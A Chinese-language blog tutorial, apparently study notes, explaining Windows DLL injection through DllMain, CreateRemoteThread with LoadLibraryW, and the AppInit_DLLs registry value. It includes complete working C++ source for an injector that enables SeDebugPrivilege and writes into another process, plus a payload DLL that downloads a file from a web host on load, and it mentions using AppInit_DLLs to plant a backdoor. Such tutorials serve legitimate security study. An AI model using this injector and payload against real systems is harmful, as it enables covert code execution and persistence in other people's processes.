zoukankan      html  css  js  c++  java
  • DLL注入

    @author: dlive

    0x01 DLL注入

    DLL注入时指向运行中的其他进程强制插入特定的DLL文件。从技术细节来说,DLL注入命令其他进程自行调用LoadLibrary() API,加载用户指定的DLL文件。

    DLL被加载到进程后会自动运行DllMain()函数,用户可以把想执行的代码放到DllMain()函数,每当加载DLL时,添加的代码就会自然得到执行。

    0x02 DLLMain

    BOOL WINAPI DllMain(
      _In_ HINSTANCE hinstDLL, //A handle to the DLL module. The value is the base address of the DLL. 
      //The HINSTANCE of a DLL is the same as the HMODULE of the DLL,
      //so hinstDLL can be used in calls to functions that require a module handle.
      _In_ DWORD     fdwReason,//DLL_PROCESS_ATTACH,DLL_PROCESS_DETACH,DLL_THREAD_ATTACH,DLL_THREAD_DETACH
      _In_ LPVOID    lpvReserved //目前用不到这个
    );
    

    参考:https://msdn.microsoft.com/en-us/library/windows/desktop/ms682583(v=vs.85).aspx

    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        g_hMod = (HMODULE)hinstDLL;
    
        switch( fdwReason )
        {
        case DLL_PROCESS_ATTACH : 
            //要执行的代码
            break;
        }
    
        return TRUE;
    }
    

    0x03 实现DLL注入

    向某个进程注入DLL主要使用以下三种方法

    1. 创建远程线程(CreateRemoteThread() API)
    2. 使用注册表(AppInit_DLLs值)
    3. 消息钩取(SetWindowsHookEx() API)

    1. CreateRemoteThread

    推荐参考书籍:《Windows核心编程》

    推荐工具:DebugView,可以捕获并显示系统中运行的进程输出的所有调试字符串

    Myhack.cpp

    #include "windows.h"
    #include "tchar.h"
    
    //链接静态库到项目中
    #pragma comment(lib, "urlmon.lib")
    
    #define DEF_URL     	(L"http://www.naver.com/index.html")
    #define DEF_FILE_NAME   (L"index.html")
    
    HMODULE g_hMod = NULL;
    
    DWORD WINAPI ThreadProc(LPVOID lParam)
    {	
      	//_MAX_PATH是stdlib.h中定义的常量,它定义了编译器所支持的最长全路径名的长度。
        TCHAR szPath[_MAX_PATH] = {0,};
    	//MAX_PATH是在windef.h中定义的常量
        if( !GetModuleFileName( g_hMod, szPath, MAX_PATH ) )
            return FALSE;
    	
        TCHAR *p = _tcsrchr( szPath, '\' );
        if( !p )
            return FALSE;
    
        _tcscpy_s(p+1, _MAX_PATH, DEF_FILE_NAME);
    
        URLDownloadToFile(NULL, DEF_URL, szPath, 0, NULL);
    
        return 0;
    }
    
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {
        HANDLE hThread = NULL;
    
        g_hMod = (HMODULE)hinstDLL;
    
        switch( fdwReason )
        {
        case DLL_PROCESS_ATTACH : 
            OutputDebugString(L"<myhack.dll> Injection!!!");
            //https://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx
            //新建一个线程,运行ThreadProc函数
            hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, NULL);
            CloseHandle(hThread);
            break;
        }
    
        return TRUE;
    }
    

    InjectDll.cpp

    一下代码编译之后需要管理员权限运行

    #include "windows.h"
    #include "tchar.h"
    
    //提升进程的权限
    //MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx
    BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) 
    {
        TOKEN_PRIVILEGES tp;
        HANDLE hToken;
        LUID luid;
    
        if( !OpenProcessToken(GetCurrentProcess(),
                              TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, 
    			              &hToken) )
        {
            _tprintf(L"OpenProcessToken error: %u
    ", GetLastError());
            return FALSE;
        }
    
        if( !LookupPrivilegeValue(NULL,           // lookup privilege on local system
                                  lpszPrivilege,  // privilege to lookup 
                                  &luid) )        // receives LUID of privilege
        {
            _tprintf(L"LookupPrivilegeValue error: %u
    ", GetLastError() ); 
            return FALSE; 
        }
    
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        if( bEnablePrivilege )
            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        else
            tp.Privileges[0].Attributes = 0;
    
        // Enable the privilege or disable all privileges.
        if( !AdjustTokenPrivileges(hToken, 
                                   FALSE, 
                                   &tp, 
                                   sizeof(TOKEN_PRIVILEGES), 
                                   (PTOKEN_PRIVILEGES) NULL, 
                                   (PDWORD) NULL) )
        { 
            _tprintf(L"AdjustTokenPrivileges error: %u
    ", GetLastError() ); 
            return FALSE; 
        } 
    
        if( GetLastError() == ERROR_NOT_ALL_ASSIGNED )
        {
            _tprintf(L"The token does not have the specified privilege. 
    ");
            return FALSE;
        } 
    
        return TRUE;
    }
    
    BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath)
    {
        HANDLE hProcess = NULL, hThread = NULL;
        HMODULE hMod = NULL;
        LPVOID pRemoteBuf = NULL;
        DWORD dwBufSize = (DWORD)(_tcslen(szDllPath) + 1) * sizeof(TCHAR);
        LPTHREAD_START_ROUTINE pThreadProc;
    
        // #1. 使用PID获取目标进程(notpad.exe)句柄
      	// 获得PROCESS_ALL_ACCESS权限就可以使用获得的句柄控制对应进程
      	/*
      		HANDLE WINAPI OpenProcess(
      			_In_ DWORD dwDesiredAccess,
      			_In_ BOOL  bInheritHandle,
      			_In_ DWORD dwProcessId
    		);
    	*/
      	// dwDesiredAccess:
      	// The access to the process object. This access right is checked against the security descriptor for the process. This parameter can be one or more of the process access rights. 
      	// If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.
      	// process security and access right: 
      	// https://msdn.microsoft.com/en-us/library/ms684880(v=vs.85).aspx
        if ( !(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) )
        {
            _tprintf(L"OpenProcess(%d) failed!!! [%d]
    ", dwPID, GetLastError());
            return FALSE;
        }
    
        // #2. 在目标进程中分配szDllPath大小的内存
        pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
    
        // #3. 将myhack.dll路径写入分配的内存中
        WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
    
        // #4. 获取LoadLibraryW() API的地址
      	// GetMoudleHandle和LoadLibarary的区别:http://blog.csdn.net/razorluo/article/details/8485451
        hMod = GetModuleHandle(L"kernel32.dll");
        pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(hMod, "LoadLibraryW");
    	
        // #5. 在notepoad.exe中运行线程, 创建远程线程
        hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);	
    
        CloseHandle(hThread);
        CloseHandle(hProcess);
    
        return TRUE;
    }
    
    int _tmain(int argc, TCHAR *argv[])
    {
        if( argc != 3)
        {
            _tprintf(L"USAGE : %s <pid> <dll_path>
    ", argv[0]);
            return 1;
        }
    
        // change privilege
        if( !SetPrivilege(SE_DEBUG_NAME, TRUE) )
            return 1;
    
        // inject dll
        if( InjectDll((DWORD)_tstol(argv[1]), argv[2]) )
            _tprintf(L"InjectDll("%s") success!!!
    ", argv[2]);
        else
            _tprintf(L"InjectDll("%s") failed!!!
    ", argv[2]);
    
        return 0;
    }
    

    ​ 上述代码中值得注意的一点是,第四步GetProcessAddress函数获取的是加载到InjectDll.exe进程中的kernel32.dll的LoadLibraryW()的地址,而非notepad.exe进程中的kernel32.dll的LoadLibraryW()的地址,这是为什么?

    ​ 这是因为在Windows系统中,kernel32.dll在每个进程中的加载地址都是相同的,这一特性被广泛用于DLL注入技术。不同的Windows系统(OS类型,语言,版本不同)kernel32.dll加载的地址不同,并且Vista/Win7中应用了ASLR技术,每次启动系统时,系统DLL加载的地址都会变化。但是在系统运行期间它们都会被映射到每个进程的相同地址。

    ​ DLL首次被加载到内存后,之后其他进程需要使用相同的DLL时不必再次加载,只要将加载过的DLL代码与资源映射一下即可,这话映射技术有利于提高内存的使用效率。

    ​ 微软整理了一份OS核心DLL文件(如kernel32.dll, user32.dll. msvcrt.dll,shell32.dll等)的ImageBase值,防止各个DLL文件加载时出现区域重合,这样加载的DLL就不会发生重定位了。

    调试DLL

    亲测在我的Win7虚拟机上OD2才能正常调试,OD1调试会出问题不知道为什么

    2.AppInit_DLLs

    ​ 进行DLL注入的第二种方法是使用注册表。Windows注册表中默认提供了AppInt_DLLS与LoadAppInit_DLLs两个注册表项。在注册表编辑器中(regedit)将要注入的DLL路径写入AppInit_DLLs项,然后把LoadAppInit_DLLs项目值设置为1。重启后制定DLL会注入所有运行进程。

    ​ 渗透中可以用这个而方法留后门XD 不知道效果如何。

    ​ 上述方法的工作原理是,User32.dll被加载到进程时,会读取AppInit_DLLs注册表项,若有值,则调用LoadLibrary()加载用户DLL。所以严格来说,相应DLL并不会加载到所有进程,而只是加载至user32.dll进程。

    ​ 使用修改注册表的方式进行DLL注入

    ​ 修改注册表之后,重启系统,使用Process Explorer查看myhack2.dll的加载情况

    3. SetWindowsHookEx

    ​ 在21章中介绍过,请参考21章内容。

    0x04 Q&A

    1. 入门阶段重要的不是汇编知识,而是调试器的使用方法,Windows内部结构等

    0x00 参考资料

    1. MSDN DLL

      https://msdn.microsoft.com/en-us/library/windows/desktop/ms682583(v=vs.85).aspx

    2. GetMoudleHandle和LoadLibarary的区别

      http://blog.csdn.net/razorluo/article/details/8485451

    3. MSDN process security and access right

      https://msdn.microsoft.com/en-us/library/ms684880(v=vs.85).aspx

  • 相关阅读:
    git的基本使用流程
    进程号和端口的互查
    find: missing argument to `-exec'
    mysql 排除系统库的全部备份
    windows添加“以管理员身份运行”
    sftp服务器的搭建
    ubuntu的sudo免密
    深入理解Java:注解(Annotation)自定义注解入门
    MySQL常见的三种存储引擎
    Intellij Idea 2017 字体模糊解决方案
  • 原文地址:https://www.cnblogs.com/dliv3/p/6349738.html
Copyright © 2011-2022 走看看